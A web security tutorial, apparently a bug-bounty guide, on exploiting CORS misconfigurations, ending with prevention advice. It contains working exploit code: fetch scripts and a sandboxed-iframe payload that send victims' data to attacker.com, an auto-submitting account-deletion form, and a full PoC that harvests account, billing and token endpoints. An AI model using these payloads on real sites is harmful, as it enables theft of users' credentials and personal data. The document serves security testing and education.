1. Origin Reflection — Server Mirrors the Origin Header
The most prevalent CORS misconfiguration: the server reads the incoming Origin header and copies its value directly into Access-Control-Allow-Origin. The developer intended to allow only trusted origins but implemented it dynamically without any allow-list check.
Identifying the Misconfiguration
# Send request with a crafted Origin
GET /api/v1/account HTTP/1.1
Host: target.com
Origin: https://evil.com
Cookie: session=abc123
# Vulnerable server response
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://evil.com
Access-Control-Allow-Credentials: true
Content-Type: application/json
{"username":"masaaki","email":"[email protected]","apiKey":"sk-prod-xyz"}
Access-Control-Allow-Origin AND Access-Control-Allow-Credentials: true is exploitable. A reflected origin without credentials means the attacker can read unauthenticated data, but cannot make requests as the victim.
<!-- Hosted on attacker.com. Victim visits this page while logged into target.com -->
<script>
fetch('https://target.com/api/v1/account', {
credentials: 'include'
})
.then(r => r.text())
.then(data => {
fetch('https://attacker.com/steal?d=' + btoa(data));
});
</script>
The browser sends the victim's session cookie. The server reflects Origin: https://attacker.com back and allows credentials. The fetch() response is readable by the attacker's script.
2. Null Origin Exploit — Sandboxed Iframe
Some servers include null in their CORS allow-list, typically to support local file requests during development. An attacker can trigger a null origin by using a sandboxed iframe — the browser sends Origin: null for requests originating from sandboxed frames.
Server Side
# Vulnerable policy — null is explicitly allowed
GET /api/v1/account HTTP/1.1
Host: target.com
Origin: null
Cookie: session=abc123
HTTP/1.1 200 OK
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true
<!-- The sandbox attribute with allow-scripts but WITHOUT allow-same-origin
forces the iframe's origin to "null" -->
<iframe sandbox="allow-scripts allow-forms"
srcdoc='<script>
fetch("https://target.com/api/v1/account", { credentials: "include" })
.then(r => r.text())
.then(d => parent.postMessage(d, "*"));
</script>'></iframe>
<script>
window.addEventListener("message", function(e) {
fetch("https://attacker.com/steal?d=" + btoa(e.data));
});
</script>
The iframe script runs with Origin: null. The server allows it. The exfiltrated data is posted to the parent window and forwarded to the attacker's server.
3. Subdomain Wildcard Regex Bypass
A common pattern: the server allows all subdomains of target.com via a regex check. If the regex is not anchored correctly, an attacker-controlled domain can satisfy it.
Vulnerable Regex Patterns
// Vulnerable — not anchored at the end
/^https?:\/\/.*\.target\.com/
// Passes for: https://evil.com?x=https://sub.target.com
// Passes for: https://eviltarget.com (if leading .* is too broad)
// Vulnerable — domain not anchored
origin.includes('target.com')
// Passes for: https://attacker-target.com
// Passes for: https://target.com.evil.com
Exploitation via Subdomain in Origin
GET /api/v1/account HTTP/1.1
Host: target.com
Origin: https://attacker.target.com.evil.com
Cookie: session=abc123
# If using includes('target.com') — this passes
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://attacker.target.com.evil.com
Access-Control-Allow-Credentials: true
4. Subdomain Takeover + CORS Chain
When the CORS policy allows all subdomains of target.com (correctly anchored), the attack surface shifts to finding an abandoned subdomain that can be taken over. A successful subdomain takeover transforms a wildcard CORS policy into full account compromise.
Attack Chain
- Identify that target.com allows
*.target.comCORS origins with credentials. - Enumerate subdomains:
subfinder -d target.com | httpx -status-code. Look for CNAMEs pointing to unclaimed third-party services (Heroku, GitHub Pages, Azure, Fastly, S3). - Find a dangling CNAME:
dev.target.com CNAME old-app.herokuapp.com(Heroku app deleted). - Register the Heroku app name, deploy your PoC page to
old-app.herokuapp.com. - Since
dev.target.comnow resolves to your server, you send cross-origin requests from it with the victim's cookies.
# Confirm subdomain takeover candidate
dig dev.target.com CNAME
# dev.target.com. 3600 IN CNAME old-app.herokuapp.com.
curl -I https://old-app.herokuapp.com
# HTTP/1.1 404 Not Found — "No such app" — takeover possible
# After takeover, the CORS request from dev.target.com is trusted
GET /api/v1/account HTTP/1.1
Host: target.com
Origin: https://dev.target.com
Cookie: session=abc123
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://dev.target.com
Access-Control-Allow-Credentials: true
5. Trusting HTTP Origins on an HTTPS Site
If https://target.com allows http://trusted.com as a CORS origin, an attacker on the same network path can intercept or inject content into the HTTP response from trusted.com, then use it to issue credentialed CORS requests to the HTTPS target.
GET /api/v1/account HTTP/1.1
Host: target.com
Origin: http://trusted.com
Cookie: session=abc123
HTTP/1.1 200 OK
Access-Control-Allow-Origin: http://trusted.com
Access-Control-Allow-Credentials: true
The attack path: MitM the victim's HTTP traffic to trusted.com (coffee shop, hotel WiFi, ISP injection), serve attacker JavaScript from that domain, which then issues credentialed requests to https://target.com. The HTTPS response is accessible because the CORS policy trusted the HTTP origin.
6. Pre-flight Bypass — Simple Requests
Browsers only send an OPTIONS pre-flight for requests that use non-simple methods or headers. Simple requests (GET, POST with specific content types, no custom headers) are sent directly — meaning any CORS restriction enforced only via pre-flight response is bypassed.
Simple Request Criteria
- Method:
GET,HEAD, orPOST - Content-Type (POST only):
application/x-www-form-urlencoded,multipart/form-data, ortext/plain - No custom headers (e.g. no
Authorization, noX-Custom-Header)
# This triggers a pre-flight (blocked by CORS policy)
fetch('https://target.com/api/update', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({email: '[email protected]'}),
credentials: 'include'
});
# This bypasses pre-flight (simple request, no OPTIONS sent)
fetch('https://target.com/api/update', {
method: 'POST',
headers: { 'Content-Type': 'text/plain' },
body: '{"email":"[email protected]"}',
credentials: 'include'
});
If the server processes the body as JSON regardless of the stated Content-Type (many frameworks do), the state change succeeds and no pre-flight negotiation was ever consulted. This is a CORS bypass combined with a content-type handling issue.
# Form-based simple request — HTML form can trigger cross-origin POST
# without pre-flight and without JavaScript
<form action="https://target.com/api/v1/account/delete" method="POST">
<input name="confirm" value="true">
<input type="submit" id="s">
</form>
<script>document.getElementById('s').click();</script>
7. CORS with Credentials — Full Account Data Theft PoC
The following is a complete, end-to-end proof of concept for stealing the authenticated user's account data from a site with origin-reflection CORS and credential support. This is what you submit in a bug bounty report.
<!-- attacker.com/cors-poc.html -->
<!DOCTYPE html>
<html>
<head><title>CORS PoC</title></head>
<body>
<h1>Loading...</h1>
<pre id="out"></pre>
<script>
const TARGET = 'https://target.com';
const EXFIL = 'https://attacker.com/collect';
const ENDPOINTS = [
'/api/v1/account',
'/api/v1/user/profile',
'/api/v1/billing/cards',
'/api/v1/auth/tokens'
];
async function steal() {
const results = {};
for (const ep of ENDPOINTS) {
try {
const r = await fetch(TARGET + ep, { credentials: 'include' });
results[ep] = await r.text();
} catch(e) {
results[ep] = 'error: ' + e.message;
}
}
document.getElementById('out').textContent = JSON.stringify(results, null, 2);
await fetch(EXFIL, {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({victim: results, ua: navigator.userAgent})
});
}
steal();
</script>
</body>
</html>
Steps to reproduce for bug report:
- Log into target.com as [email protected] in Browser A.
- In the same browser session, navigate to
https://attacker.com/cors-poc.html. - The page silently fetches
/api/v1/accountwith the victim's session cookie. - Observe the response data appearing on the attacker page and in the server log at attacker.com/collect.
Confirming Exploitability Manually
# Two conditions must BOTH be true for exploitation:
# 1. Reflected or overly permissive ACAO
curl -s -I -H "Origin: https://evil.com" \
-H "Cookie: session=abc123" \
https://target.com/api/v1/account | grep -i access-control
# Access-Control-Allow-Origin: https://evil.com <-- vulnerable
# Access-Control-Allow-Credentials: true <-- exploitable
# 2. Response contains sensitive data (not just a 200 OK)
# Check that the body includes API keys, PII, session tokens, etc.
8. Prevention
Strict Origin Allow-List
Maintain an explicit set of allowed origins as constants. Compare the incoming Origin header against this set — never reflect it back. If it matches, set the ACAO header to that exact value (not a wildcard).
Never Allow Credentials with Wildcard
Access-Control-Allow-Origin: * cannot be combined with Access-Control-Allow-Credentials: true — browsers reject it. Do not attempt to work around this constraint.
Remove null from Allow-Lists
The origin null should never appear in a production allow-list. It cannot be trusted because attackers can trigger it via sandboxed iframes from any origin.
Anchor Subdomain Regex
If you use regex for subdomain matching, anchor it: /^https:\/\/[a-z0-9-]+\.target\.com$/. Require HTTPS. Do not use .includes() or unanchored patterns.
Eliminate Dangling DNS
Audit all CNAME records quarterly. Remove or update records pointing to decommissioned third-party services. A subdomain takeover converts a trusted CORS origin into an attacker-controlled origin.
Never Trust HTTP Origins on HTTPS Sites
Only allow HTTPS origins in your CORS policy for HTTPS endpoints. HTTP origins can be intercepted and the traffic injected with attacker code.
Defense in Depth: CSRF Tokens
CORS does not replace CSRF protection. Use CSRF tokens for all state-changing operations. A CORS misconfiguration combined with missing CSRF tokens amplifies the impact significantly.
Vary Header
Always include Vary: Origin in CORS responses to prevent cache poisoning where a cached response with a permissive ACAO is served to a different origin.